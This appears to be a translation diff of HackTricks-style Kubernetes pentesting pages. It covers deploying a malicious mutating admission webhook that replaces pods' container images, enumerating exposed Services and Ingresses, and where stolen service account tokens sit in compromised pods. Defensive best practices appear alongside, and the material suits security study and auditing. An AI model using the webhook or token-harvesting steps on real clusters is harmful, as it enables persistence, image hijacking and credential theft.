만약 공격자가 어떻게든 **Mutation Admission Controller를 주입(inject)**하는 데 성공하면, 이미 인증된 요청을 **수정(modify)**할 수 있게 됩니다. 이는 잠재적으로 privesc를 가능하게 하며, 더 흔하게는 클러스터에 지속적으로 남을 수 있습니다.
|
||||
attacker가 어떤 방식으로든 **Mutation Admission Controller를 inject**할 수 있다면, **이미 authenticated된 requests를 modify**할 수 있게 됩니다. 이를 통해 potentially privesc가 가능하고, 더 일반적으로는 cluster에 persist할 수 있습니다.
|
||||
|
||||
**예제 출처** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers):
|
||||
**Example from** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers):
|
||||
```bash
|
||||
git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
|
||||
cd malicious-admission-controller-webhook-demo
|
||||
./deploy.sh
|
||||
kubectl get po -n webhook-demo -w
|
||||
```
|
||||
준비되었는지 상태를 확인하세요:
|
||||
상태를 확인하여 준비되었는지 보세요:
|
||||
```bash
|
||||
kubectl get mutatingwebhookconfigurations
|
||||
kubectl get deploy,svc -n webhook-demo
|
||||
@@ -779,18 +736,18 @@ kubectl get deploy,svc -n webhook-demo
|
||||
kubectl run nginx --image nginx
|
||||
kubectl get po -w
|
||||
```
|
||||
`ErrImagePull` 오류가 보일 경우, 다음 쿼리 중 하나로 이미지 이름을 확인하세요:
|
||||
`ErrImagePull` 오류가 보이면, 다음 쿼리 중 하나로 image 이름을 확인하세요:
|
||||
```bash
|
||||
kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
|
||||
kubectl describe po nginx | grep "Image: "
|
||||
```
|
||||
|
||||
|
||||
위 이미지에서 보듯이, 우리는 `nginx` 이미지를 실행하려 했지만 실제로 실행된 이미지는 `rewanthtammana/malicious-image`였습니다. 무슨 일이 일어난 건가요!?
|
||||
위 이미지에서 볼 수 있듯이, 우리는 `nginx` 이미지를 실행하려고 했지만 최종적으로 실행된 이미지는 `rewanthtammana/malicious-image`였습니다. 대체 무슨 일이 일어난 걸까요!!?
|
||||
|
||||
#### 기술적 세부사항
|
||||
#### Technicalities
|
||||
|
||||
`./deploy.sh` 스크립트는 mutating webhook admission controller를 설정하며, 구성 파일의 설정에 따라 Kubernetes API로 향하는 요청을 수정하여 관찰된 결과에 영향을 미칩니다:
|
||||
`./deploy.sh` 스크립트는 mutating webhook admission controller를 설정하며, 이는 설정 라인에 지정된 대로 Kubernetes API 요청을 수정하여 관찰된 결과에 영향을 줍니다:
|
||||
```
|
||||
patches = append(patches, patchOperation{
|
||||
Op: "replace",
|
||||
@@ -798,7 +755,7 @@ Path: "/spec/containers/0/image",
|
||||
Value: "rewanthtammana/malicious-image",
|
||||
})
|
||||
```
|
||||
위 스니펫은 모든 pod의 첫 번째 컨테이너 이미지를 `rewanthtammana/malicious-image`로 교체합니다.
|
||||
The above snippet는 모든 pod의 첫 번째 container image를 `rewanthtammana/malicious-image`로 바꿉니다.
|
||||
|
||||
## OPA Gatekeeper bypass
|
||||
|
||||
@@ -806,20 +763,20 @@ Value: "rewanthtammana/malicious-image",
|
||||
../kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
## 모범 사례
|
||||
## Best Practices
|
||||
|
||||
### **Service Account Token 자동 마운트 비활성화**
|
||||
### **Service Account Tokens의 Automount 비활성화**
|
||||
|
||||
- **Pods and Service Accounts**: 기본적으로 pods는 service account 토큰을 마운트합니다. 보안을 강화하기 위해 Kubernetes에서는 이 자동 마운트 기능을 비활성화할 수 있습니다.
|
||||
- **How to Apply**: Kubernetes 버전 1.6부터 service accounts 또는 pods의 설정에서 `automountServiceAccountToken: false`로 설정하세요.
|
||||
- **Pods and Service Accounts**: 기본적으로 pod는 service account token을 mount합니다. 보안을 강화하려면 Kubernetes에서 이 automount 기능을 비활성화할 수 있습니다.
|
||||
- **적용 방법**: Kubernetes 버전 1.6부터 service accounts 또는 pod 설정에서 `automountServiceAccountToken: false`를 설정합니다.
|
||||
|
||||
### **RoleBindings/ClusterRoleBindings에서의 사용자 제한 할당**
|
||||
### **RoleBindings/ClusterRoleBindings에서 제한적인 User 할당**
|
||||
|
||||
- **Selective Inclusion**: RoleBindings 또는 ClusterRoleBindings에는 필요한 사용자만 포함되도록 하세요. 정기적으로 감사(audit)하여 관련 없는 사용자를 제거해 보안을 유지하세요.
|
||||
- **선별적 포함**: 필요한 user만 RoleBindings 또는 ClusterRoleBindings에 포함되도록 하세요. 정기적으로 audit하고 관련 없는 user를 제거해 보안을 강하게 유지합니다.
|
||||
|
||||
### **네임스페이스별 Roles 사용 (클러스터 전체 Roles 대신)**
|
||||
### **Cluster-Wide Roles보다 Namespace-Specific Roles 사용**
|
||||
|
||||
- **Roles vs. ClusterRoles**: 클러스터 전체에 적용되는 ClusterRoles 및 ClusterRoleBindings 대신 네임스페이스별 권한에는 Roles 및 RoleBindings 사용을 권장합니다. 이 방법은 더 세밀한 제어와 권한 범위 제한을 제공합니다.
|
||||
- **Roles vs. ClusterRoles**: cluster-wide 권한을 적용하는 ClusterRoles와 ClusterRoleBindings보다, namespace-specific 권한에는 Roles와 RoleBindings를 사용하는 것을 권장합니다. 이 접근 방식은 더 세밀한 control을 제공하고 permissions의 scope를 제한합니다.
|
||||
|
||||
### **자동화 도구 사용**
|
||||
|
||||
|
||||
@@ -1,12 +1,12 @@
|
||||
# Kubernetes에서 서비스 노출
|
||||
# Exposing Services in Kubernetes
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Kubernetes에서 서비스를 노출하는 **다양한 방법**이 있어 **내부** 엔드포인트와 **외부** 엔드포인트가 이를 접근할 수 있습니다. 이 Kubernetes 구성은 관리자가 **공격자가 접근해서는 안 되는 서비스에 접근할 수 있도록** 할 수 있기 때문에 매우 중요합니다.
|
||||
Kubernetes에서는 **서비스를 노출하는 여러 방법**이 있어서 **internal** 엔드포인트와 **external** 엔드포인트가 모두 접근할 수 있습니다. 이 Kubernetes 설정은 매우 중요합니다. 관리자가 **공격자에게 접근해서는 안 되는 서비스에 대한 접근 권한**을 줄 수 있기 때문입니다.
|
||||
|
||||
### 자동 열거
|
||||
### Automatic Enumeration
|
||||
|
||||
K8s가 서비스를 공개적으로 노출하는 방법을 열거하기 시작하기 전에, 네임스페이스, 서비스 및 인그레스를 나열할 수 있다면, 다음을 사용하여 공개적으로 노출된 모든 것을 찾을 수 있다는 점을 알아두세요:
|
||||
K8s가 서비스를 public에 노출하는 방법을 열거하기 전에, namespaces, services, ingresses를 나열할 수 있다면 public에 노출된 모든 것을 다음으로 찾을 수 있다는 점을 알아두세요:
|
||||
```bash
|
||||
kubectl get namespace -o custom-columns='NAME:.metadata.name' | grep -v NAME | while IFS='' read -r ns; do
|
||||
echo "Namespace: $ns"
|
||||
@@ -20,13 +20,13 @@ done | grep -v "ClusterIP"
|
||||
```
|
||||
### ClusterIP
|
||||
|
||||
**ClusterIP** 서비스는 **기본** Kubernetes **서비스**입니다. 클러스터 내의 다른 앱이 접근할 수 있는 **클러스터 내 서비스**를 제공합니다. **외부 접근**은 없습니다.
|
||||
**ClusterIP** **service**는 Kubernetes의 **기본** **service**입니다. 클러스터 **내부**에서 다른 앱이 접근할 수 있는 **service inside**를 제공합니다. **외부 접근**은 없습니다.
|
||||
|
||||
그러나, 이는 Kubernetes Proxy를 사용하여 접근할 수 있습니다:
|
||||
하지만, 이는 Kubernetes Proxy를 사용하여 접근할 수 있습니다:
|
||||
```bash
|
||||
kubectl proxy --port=8080
|
||||
```
|
||||
이제 이 스킴을 사용하여 Kubernetes API를 통해 서비스에 접근할 수 있습니다:
|
||||
이제 다음 scheme을 사용해 Kubernetes API를 통해 services에 접근할 수 있습니다:
|
||||
|
||||
`http://localhost:8080/api/v1/proxy/namespaces/<NAMESPACE>/services/<SERVICE-NAME>:<PORT-NAME>/`
|
||||
|
||||
@@ -34,7 +34,7 @@ kubectl proxy --port=8080
|
||||
|
||||
`http://localhost:8080/api/v1/proxy/namespaces/default/services/my-internal-service:http/`
|
||||
|
||||
이 서비스를 접근하기 위해:
|
||||
이 service에 접근하려면:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Service
|
||||
@@ -50,7 +50,7 @@ port: 80
|
||||
targetPort: 80
|
||||
protocol: TCP
|
||||
```
|
||||
_이 방법은 **인증된 사용자**로 `kubectl`을 실행해야 합니다._
|
||||
_이 방법은 `kubectl`을 **인증된 사용자**로 실행해야 합니다._
|
||||
|
||||
모든 ClusterIP 나열:
|
||||
```bash
|
||||
@@ -58,13 +58,13 @@ kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.nam
|
||||
```
|
||||
### NodePort
|
||||
|
||||
**NodePort**가 사용될 때, 모든 노드(가상 머신을 나타냄)에서 지정된 포트가 사용 가능해집니다. 이 특정 포트로 향하는 **트래픽**은 체계적으로 **서비스로 라우팅**됩니다. 일반적으로 이 방법은 단점으로 인해 권장되지 않습니다.
|
||||
**NodePort**가 사용될 때, 지정된 포트가 모든 Node(즉, Virtual Machines)에서 열립니다. 이 특정 포트로 향하는 **Traffic**는 체계적으로 **service로 라우팅**됩니다. 일반적으로 이 방식은 단점 때문에 권장되지 않습니다.
|
||||
|
||||
모든 NodePort 목록:
|
||||
모든 NodePorts 목록:
|
||||
```bash
|
||||
kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,CLUSTER-IP:.spec.clusterIP,PORT(S):.spec.ports[*].port,NODEPORT(S):.spec.ports[*].nodePort,TARGETPORT(S):.spec.ports[*].targetPort,SELECTOR:.spec.selector' | grep NodePort
|
||||
```
|
||||
NodePort 사양의 예:
|
||||
NodePort 지정 예시:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Service
|
||||
@@ -81,28 +81,30 @@ targetPort: 80
|
||||
nodePort: 30036
|
||||
protocol: TCP
|
||||
```
|
||||
노드 포트를 yaml에서 **지정하지 않으면** (열릴 포트) **30000–32767 범위의 포트가 사용됩니다**.
|
||||
yaml에서 **nodePort**를 **지정하지 않으면**(열릴 포트입니다) **30000–32767 범위의 포트가 사용됩니다**.
|
||||
|
||||
### LoadBalancer <a href="#id-0d96" id="id-0d96"></a>
|
||||
### LoadBalancer
|
||||
|
||||
클라우드 제공업체의 로드 밸런서를 사용하여 서비스를 외부에 노출합니다. GKE에서는 [네트워크 로드 밸런서](https://cloud.google.com/compute/docs/load-balancing/network/)를 시작하여 서비스로 모든 트래픽을 전달하는 단일 IP 주소를 제공합니다. AWS에서는 로드 밸런서를 시작합니다.
|
||||
**cloud provider의 load balancer를 사용하여** Service를 외부에 노출합니다. GKE에서는 [Network Load Balancer](https://cloud.google.com/compute/docs/load-balancing/network/)가 생성되며, 이는 모든 트래픽을 service로 전달하는 단일 IP address를 제공합니다. AWS에서는 Load Balancer가 실행됩니다.
|
||||
|
||||
노출된 서비스당 LoadBalancer에 대해 비용을 지불해야 하며, 이는 비쌀 수 있습니다.
|
||||
노출된 service마다 LoadBalancer 비용을 지불해야 하므로, 비용이 많이 들 수 있습니다.
|
||||
|
||||
모든 LoadBalancers 목록:
|
||||
모든 LoadBalancers 나열:
|
||||
```bash
|
||||
kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,CLUSTER-IP:.spec.clusterIP,EXTERNAL-IP:.status.loadBalancer.ingress[*],PORT(S):.spec.ports[*].port,NODEPORT(S):.spec.ports[*].nodePort,TARGETPORT(S):.spec.ports[*].targetPort,SELECTOR:.spec.selector' | grep LoadBalancer
|
||||
```
|
||||
### External IPs <a href="#external-ips" id="external-ips"></a>
|
||||
### External IPs
|
||||
|
||||
> [!TIP]
|
||||
> 외부 IP는 Load Balancer 유형의 서비스에 의해 노출되며, 일반적으로 외부 Cloud Provider Load Balancer가 사용될 때 사용됩니다.
|
||||
> External IPs는 Load Balancers 타입의 services에 의해 노출되며, 일반적으로 external Cloud Provider Load Balancer가 사용될 때 사용됩니다.
|
||||
>
|
||||
> 이를 찾으려면 `EXTERNAL-IP` 필드에 값이 있는 로드 밸런서를 확인하십시오.
|
||||
> 찾으려면 `EXTERNAL-IP` 필드에 값이 있는 load balancers를 확인하세요.
|
||||
|
||||
클러스터로 들어오는 트래픽이 **외부 IP**(목적지 IP)로 서비스 포트에서 **서비스 엔드포인트 중 하나로 라우팅**됩니다. `externalIPs`는 Kubernetes에 의해 관리되지 않으며 클러스터 관리자의 책임입니다.
|
||||
**external IP**를 **destination IP**로 하여 cluster로 들어오는 traffic은 Service port에서 **Service endpoints 중 하나로 routed**됩니다. `externalIPs`는 Kubernetes가 관리하지 않으며 cluster administrator의 책임입니다.
|
||||
|
||||
서비스 사양에서 `externalIPs`는 `ServiceTypes` 중 어떤 것과 함께 지정할 수 있습니다. 아래 예제에서 "`my-service`"는 "`80.11.12.10:80`"(`externalIP:port`)에서 클라이언트가 접근할 수 있습니다.
|
||||
`externalIPs`는 민감한 route-control 필드입니다. 이 값을 설정할 수 있는 user는 주변 network가 해당 IP를 cluster로 route하는 경우, Service owner가 통제해서는 안 되는 IP address에 대한 traffic을 자기 쪽으로 claim할 수 있기 때문입니다. Kubernetes는 v1.36에서 Service `externalIPs`의 deprecation과 제거 계획을 발표했으므로, 가능한 경우 LoadBalancer integrations 또는 Gateway API 같은 controller-owned exposure mechanisms를 사용하는 것이 좋습니다. 또한 이 필드가 남아 있는 동안에는 이를 carefully restrict/admit 해야 합니다.
|
||||
|
||||
Service spec에서 `externalIPs`는 모든 `ServiceTypes`와 함께 지정할 수 있습니다. 아래 예시에서 "`my-service`"는 클라이언트가 "`80.11.12.10:80`" (`externalIP:port`)로 접근할 수 있습니다.
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Service
|
||||
@@ -121,9 +123,9 @@ externalIPs:
|
||||
```
|
||||
### ExternalName
|
||||
|
||||
[**From the docs:**](https://kubernetes.io/docs/concepts/services-networking/service/#externalname) ExternalName 유형의 서비스는 **서비스를 DNS 이름에 매핑합니다**, `my-service` 또는 `cassandra`와 같은 일반 선택기가 아닙니다. 이러한 서비스는 `spec.externalName` 매개변수로 지정합니다.
|
||||
[**문서에서:**](https://kubernetes.io/docs/concepts/services-networking/service/#externalname) ExternalName 유형의 Services는 일반적인 selector인 `my-service`나 `cassandra`가 아니라, **Service를 DNS name에 매핑**합니다. 이 Services는 `spec.externalName` 매개변수로 지정합니다.
|
||||
|
||||
예를 들어, 이 서비스 정의는 `prod` 네임스페이스의 `my-service` 서비스를 `my.database.example.com`에 매핑합니다:
|
||||
예를 들어, 이 Service 정의는 `prod` namespace의 `my-service` Service를 `my.database.example.com`에 매핑합니다:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Service
|
||||
@@ -134,56 +136,95 @@ spec:
|
||||
type: ExternalName
|
||||
externalName: my.database.example.com
|
||||
```
|
||||
호스트 `my-service.prod.svc.cluster.local`를 조회할 때, 클러스터 DNS 서비스는 값이 `my.database.example.com`인 `CNAME` 레코드를 반환합니다. `my-service`에 접근하는 것은 다른 서비스와 동일하게 작동하지만, **리디렉션이 프록시 또는 포워딩이 아닌 DNS 수준에서 발생한다는 중요한 차이점이 있습니다.**
|
||||
호스트 `my-service.prod.svc.cluster.local`를 조회하면, cluster DNS Service는 값이 `my.database.example.com`인 `CNAME` 레코드를 반환합니다. `my-service`에 접근하는 방식은 다른 Services와 같지만, 중요한 차이점은 **redirection이 proxying이나 forwarding이 아니라 DNS level에서 발생한다는 것**입니다.
|
||||
|
||||
모든 ExternalNames 나열:
|
||||
모든 ExternalNames를 나열하세요:
|
||||
```bash
|
||||
kubectl get services --all-namespaces | grep ExternalName
|
||||
```
|
||||
### EndpointSlices
|
||||
|
||||
EndpointSlices는 Service가 현재 라우팅하는 구체적인 백엔드 주소와 포트를 보여준다. Service에 selector가 없을 때, labels만으로 트래픽 경로를 설명할 수 없을 때, 또는 일부 백엔드만 ready 상태일 때 특히 유용하다.
|
||||
|
||||
Service와 연결된 EndpointSlices를 나열한다:
|
||||
```bash
|
||||
kubectl get endpointslices --all-namespaces
|
||||
kubectl get endpointslice -n <namespace> -l kubernetes.io/service-name=<service-name> -o yaml
|
||||
kubectl get endpointslice -n <namespace> -l kubernetes.io/service-name=<service-name> \
|
||||
-o custom-columns='NAME:.metadata.name,ADDR:.endpoints[*].addresses,READY:.endpoints[*].conditions.ready,PORTS:.ports[*].port'
|
||||
```
|
||||
노출을 검토할 때는 Service selector와 EndpointSlice `targetRef`, endpoint addresses, readiness conditions, 그리고 ports를 비교하세요. selector가 없는 Service는 수동으로 관리되는 EndpointSlices와 함께 사용될 수 있으며, 트래픽을 non-Pod 또는 예상치 못한 대상로 라우팅할 수 있습니다.
|
||||
|
||||
### Ingress
|
||||
|
||||
위의 모든 예와 달리, **Ingress는 서비스의 유형이 아닙니다**. 대신, **여러 서비스 앞에 위치하여 “스마트 라우터”** 또는 클러스터의 진입점 역할을 합니다.
|
||||
위의 모든 예시와 달리, **Ingress는 service의 한 유형이 아닙니다**. 대신 **여러 services 앞에 위치하며 클러스터로 들어오는 “smart router”** 또는 entrypoint 역할을 합니다.
|
||||
|
||||
Ingress를 사용하여 다양한 작업을 수행할 수 있으며, **다양한 기능을 가진 여러 유형의 Ingress 컨트롤러가 있습니다**.
|
||||
Ingress로는 다양한 작업을 할 수 있으며, **기능이 서로 다른 여러 종류의 Ingress controllers**가 있습니다.
|
||||
|
||||
기본 GKE Ingress 컨트롤러는 [HTTP(S) Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/)를 생성합니다. 이를 통해 경로 기반 및 서브도메인 기반 라우팅을 백엔드 서비스로 수행할 수 있습니다. 예를 들어, foo.yourdomain.com의 모든 요청을 foo 서비스로 보내고, yourdomain.com/bar/ 경로 아래의 모든 요청을 bar 서비스로 보낼 수 있습니다.
|
||||
기본 GKE ingress controller는 여러분을 위해 [HTTP(S) Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/)를 생성합니다. 이를 통해 path 기반 및 subdomain 기반 routing을 backend services로 할 수 있습니다. 예를 들어, foo.yourdomain.com으로 들어오는 모든 요청을 foo service로 보내고, yourdomain.com/bar/ path 아래의 모든 요청을 bar service로 보낼 수 있습니다.
|
||||
|
||||
GKE에서 [L7 HTTP Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/)를 사용하는 Ingress 객체의 YAML은 다음과 같을 수 있습니다:
|
||||
GKE에서 [L7 HTTP Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/)를 사용하는 Ingress object의 YAML은 다음과 같을 수 있습니다:
|
||||
```yaml
|
||||
apiVersion: extensions/v1beta1
|
||||
apiVersion: networking.k8s.io/v1
|
||||
kind: Ingress
|
||||
metadata:
|
||||
name: my-ingress
|
||||
spec:
|
||||
backend:
|
||||
serviceName: other
|
||||
servicePort: 8080
|
||||
defaultBackend:
|
||||
service:
|
||||
name: other
|
||||
port:
|
||||
number: 8080
|
||||
rules:
|
||||
- host: foo.mydomain.com
|
||||
http:
|
||||
paths:
|
||||
- backend:
|
||||
serviceName: foo
|
||||
servicePort: 8080
|
||||
- path: /
|
||||
pathType: Prefix
|
||||
backend:
|
||||
service:
|
||||
name: foo
|
||||
port:
|
||||
number: 8080
|
||||
- host: mydomain.com
|
||||
http:
|
||||
paths:
|
||||
- path: /bar/*
|
||||
- path: /bar
|
||||
pathType: Prefix
|
||||
backend:
|
||||
serviceName: bar
|
||||
servicePort: 8080
|
||||
service:
|
||||
name: bar
|
||||
port:
|
||||
number: 8080
|
||||
```
|
||||
모든 인그레스를 나열하세요:
|
||||
모든 ingress를 나열:
|
||||
```bash
|
||||
kubectl get ingresses --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,RULES:spec.rules[*],STATUS:status'
|
||||
```
|
||||
각 정보를 하나씩 가져오는 것이 더 나은 경우입니다.
|
||||
이 경우에는 각각을 하나씩 따로 받아서 더 읽기 쉽게 보는 것이 더 좋습니다:
|
||||
```bash
|
||||
kubectl get ingresses --all-namespaces -o=yaml
|
||||
```
|
||||
### Gateway API
|
||||
|
||||
Gateway API는 Services를 노출하기 위한 더 새로운 Kubernetes API이다. 이는 인프라 소유의 Gateway 객체와 HTTPRoute 같은 애플리케이션 소유의 Route 객체를 분리한다. 이는 delegation에 유용하지만, 노출이 여러 namespace에 걸쳐 분리될 수 있음을 의미하기도 한다.
|
||||
|
||||
Gateway API exposure objects를 나열한다:
|
||||
```bash
|
||||
kubectl get gatewayclasses
|
||||
kubectl get gateways --all-namespaces
|
||||
kubectl get httproutes --all-namespaces
|
||||
kubectl get gateway -n <namespace> <gateway-name> -o yaml
|
||||
kubectl get httproute -n <namespace> <route-name> -o yaml
|
||||
```
|
||||
Gateway listener, allowed route namespace, Route `parentRefs`, hostname, filter, backend reference, 그리고 accepted되었는지 같은 status condition을 확인하세요. shared Gateway에 의해 accepted된 Route는 legacy Ingress object가 없어도 backend를 expose할 수 있습니다.
|
||||
|
||||
### References
|
||||
|
||||
- [https://medium.com/google-cloud/kubernetes-nodeport-vs-loadbalancer-vs-ingress-when-should-i-use-what-922f010849e0](https://medium.com/google-cloud/kubernetes-nodeport-vs-loadbalancer-vs-ingress-when-should-i-use-what-922f010849e0)
|
||||
- [https://kubernetes.io/docs/concepts/services-networking/service/](https://kubernetes.io/docs/concepts/services-networking/service/)
|
||||
- [https://kubernetes.io/blog/2026/05/14/kubernetes-v1-36-deprecation-and-removal-of-service-externalips/](https://kubernetes.io/blog/2026/05/14/kubernetes-v1-36-deprecation-and-removal-of-service-externalips/)
|
||||
- [https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/](https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/)
|
||||
- [https://gateway-api.sigs.k8s.io/](https://gateway-api.sigs.k8s.io/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,86 +4,86 @@
|
||||
|
||||
## Kubernetes Tokens
|
||||
|
||||
기계에 대한 접근 권한이 손상된 경우 사용자가 일부 Kubernetes 플랫폼에 접근할 수 있습니다. 토큰은 일반적으로 **env var `KUBECONFIG`**로 지정된 파일이나 **`~/.kube`** 내부에 위치합니다.
|
||||
If you have compromised access to a machine the user may have access to some Kubernetes platform. The token is usually located in a file pointed by the **env var `KUBECONFIG`** or **inside `~/.kube`**.
|
||||
|
||||
이 폴더에서는 **API 서버에 연결하기 위한 토큰 및 구성 파일**을 찾을 수 있습니다. 이 폴더에는 이전에 검색된 정보가 포함된 캐시 폴더도 있습니다.
|
||||
In this folder you might find config files with **tokens and configurations to connect to the API server**. In this folder you can also find a cache folder with information previously retrieved.
|
||||
|
||||
Kubernetes 환경 내에서 포드를 손상시킨 경우, 현재 K8 환경에 대한 토큰 및 정보를 찾을 수 있는 다른 장소가 있습니다:
|
||||
If you have compromised a pod inside a kubernetes environment, there are other places where you can find tokens and information about the current K8 env:
|
||||
|
||||
### Service Account Tokens
|
||||
|
||||
계속하기 전에 Kubernetes에서 서비스가 무엇인지 모른다면 **이 링크를 따라가서 Kubernetes 아키텍처에 대한 정보를 최소한 읽어보는 것을 권장합니다.**
|
||||
Before continuing, if you don't know what is a service in Kubernetes I would suggest you to **follow this link and read at least the information about Kubernetes architecture.**
|
||||
|
||||
Kubernetes [문서](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server)에서 인용:
|
||||
Taken from the Kubernetes [documentation](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server):
|
||||
|
||||
_“포드를 생성할 때 서비스 계정을 지정하지 않으면 동일한 네임스페이스의 기본 서비스 계정이 자동으로 할당됩니다.”_
|
||||
_“When you create a pod, if you do not specify a service account, it is automatically assigned the_ default _service account in the same namespace.”_
|
||||
|
||||
**ServiceAccount**는 Kubernetes에 의해 관리되는 객체로, 포드 내에서 실행되는 프로세스에 대한 신원을 제공합니다.\
|
||||
모든 서비스 계정은 관련된 비밀을 가지고 있으며 이 비밀에는 베어러 토큰이 포함되어 있습니다. 이는 두 당사자 간에 클레임을 안전하게 표현하는 방법인 JSON Web Token (JWT)입니다.
|
||||
**ServiceAccount** is an object managed by Kubernetes and used to provide an identity for processes that run in a pod.\
|
||||
Every service account has a secret related to it and this secret contains a bearer token. This is a JSON Web Token (JWT), a method for representing claims securely between two parties.
|
||||
|
||||
일반적으로 **하나**의 디렉토리:
|
||||
Usually **one** of the directories:
|
||||
|
||||
- `/run/secrets/kubernetes.io/serviceaccount`
|
||||
- `/var/run/secrets/kubernetes.io/serviceaccount`
|
||||
- `/secrets/kubernetes.io/serviceaccount`
|
||||
|
||||
다음 파일을 포함합니다:
|
||||
contain the files:
|
||||
|
||||
- **ca.crt**: Kubernetes 통신을 확인하기 위한 CA 인증서입니다.
|
||||
- **namespace**: 현재 네임스페이스를 나타냅니다.
|
||||
- **token**: 현재 포드의 **서비스 토큰**을 포함합니다.
|
||||
- **ca.crt**: It's the ca certificate to check kubernetes communications
|
||||
- **namespace**: It indicates the current namespace
|
||||
- **token**: It contains the **service token** of the current pod.
|
||||
|
||||
이제 토큰을 가지고 있으므로 환경 변수 **`KUBECONFIG`** 내에서 API 서버를 찾을 수 있습니다. 더 많은 정보는 `(env | set) | grep -i "kuber|kube`**`"`**를 실행하여 확인하세요.
|
||||
Now that you have the token, you can find the API server inside the environment variable **`KUBECONFIG`**. For more info run `(env | set) | grep -i "kuber|kube`**`"`**
|
||||
|
||||
서비스 계정 토큰은 **sa.key** 파일에 있는 키로 서명되고 **sa.pub**로 검증됩니다.
|
||||
The service account token is being signed by the key residing in the file **sa.key** and validated by **sa.pub**.
|
||||
|
||||
**Kubernetes**의 기본 위치:
|
||||
Default location on **Kubernetes**:
|
||||
|
||||
- /etc/kubernetes/pki
|
||||
|
||||
**Minikube**의 기본 위치:
|
||||
Default location on **Minikube**:
|
||||
|
||||
- /var/lib/localkube/certs
|
||||
|
||||
### Hot Pods
|
||||
|
||||
_**Hot pods는**_ 특권 서비스 계정 토큰을 포함하는 포드입니다. 특권 서비스 계정 토큰은 비밀 목록 작성, 포드 생성 등과 같은 특권 작업을 수행할 수 있는 권한이 있는 토큰입니다.
|
||||
_**Hot pods are**_ pods containing a privileged service account token. A privileged service account token is a token that has permission to do privileged tasks such as listing secrets, creating pods, etc.
|
||||
|
||||
## RBAC
|
||||
|
||||
**RBAC**가 무엇인지 모른다면 **이 섹션을 읽어보세요**.
|
||||
If you don't know what is **RBAC**, **read this section**.
|
||||
|
||||
## GUI Applications
|
||||
|
||||
- **k9s**: 터미널에서 Kubernetes 클러스터를 열거하는 GUI입니다. [https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/)에서 명령어를 확인하세요. `:namespace`를 입력하고 모두 선택한 후 모든 네임스페이스에서 리소스를 검색하세요.
|
||||
- **k8slens**: 무료 체험일을 제공합니다: [https://k8slens.dev/](https://k8slens.dev/)
|
||||
- **k9s**: A GUI that enumerates a kubernetes cluster from the terminal. Check the commands in[https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/). Write `:namespace` and select all to then search resources in all the namespaces.
|
||||
- **k8slens**: It offers some free trial days: [https://k8slens.dev/](https://k8slens.dev/)
|
||||
|
||||
## Enumeration CheatSheet
|
||||
|
||||
K8s 환경을 열거하기 위해 필요한 몇 가지 사항은 다음과 같습니다:
|
||||
In order to enumerate a K8s environment you need a couple of this:
|
||||
|
||||
- **유효한 인증 토큰**. 이전 섹션에서 사용자 토큰과 서비스 계정 토큰을 검색하는 방법을 보았습니다.
|
||||
- **Kubernetes API의 주소 (**_**https://host:port**_**)**. 이는 일반적으로 환경 변수 및/또는 kube 구성 파일에서 찾을 수 있습니다.
|
||||
- **선택 사항**: **API 서버를 검증하기 위한 ca.crt**. 이는 토큰을 찾을 수 있는 동일한 장소에서 찾을 수 있습니다. 이는 API 서버 인증서를 검증하는 데 유용하지만, `kubectl`에서 `--insecure-skip-tls-verify`를 사용하거나 `curl`에서 `-k`를 사용하면 필요하지 않습니다.
|
||||
- A **valid authentication token**. In the previous section we saw where to search for a user token and for a service account token.
|
||||
- The **address (**_**https://host:port**_**) of the Kubernetes API**. This can be usually found in the environment variables and/or in the kube config file.
|
||||
- **Optional**: The **ca.crt to verify the API server**. This can be found in the same places the token can be found. This is useful to verify the API server certificate, but using `--insecure-skip-tls-verify` with `kubectl` or `-k` with `curl` you won't need this.
|
||||
|
||||
이 세부 정보를 통해 **Kubernetes를 열거할 수 있습니다**. **API**가 어떤 이유로 **인터넷을 통해 접근 가능**하다면, 해당 정보를 다운로드하고 호스트에서 플랫폼을 열거할 수 있습니다.
|
||||
With those details you can **enumerate kubernetes**. If the **API** for some reason is **accessible** through the **Internet**, you can just download that info and enumerate the platform from your host.
|
||||
|
||||
그러나 일반적으로 **API 서버는 내부 네트워크에** 있으므로, 손상된 기계를 통해 **터널을 생성**하여 자신의 기기에서 접근해야 하며, 또는 **`kubectl`** 바이너리를 **업로드**하거나 **`curl/wget/anything`**을 사용하여 API 서버에 대한 원시 HTTP 요청을 수행할 수 있습니다.
|
||||
However, usually the **API server is inside an internal network**, therefore you will need to **create a tunnel** through the compromised machine to access it from your machine, or you can **upload the** [**kubectl**](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) binary, or use **`curl/wget/anything`** to perform raw HTTP requests to the API server.
|
||||
|
||||
### Differences between `list` and `get` verbs
|
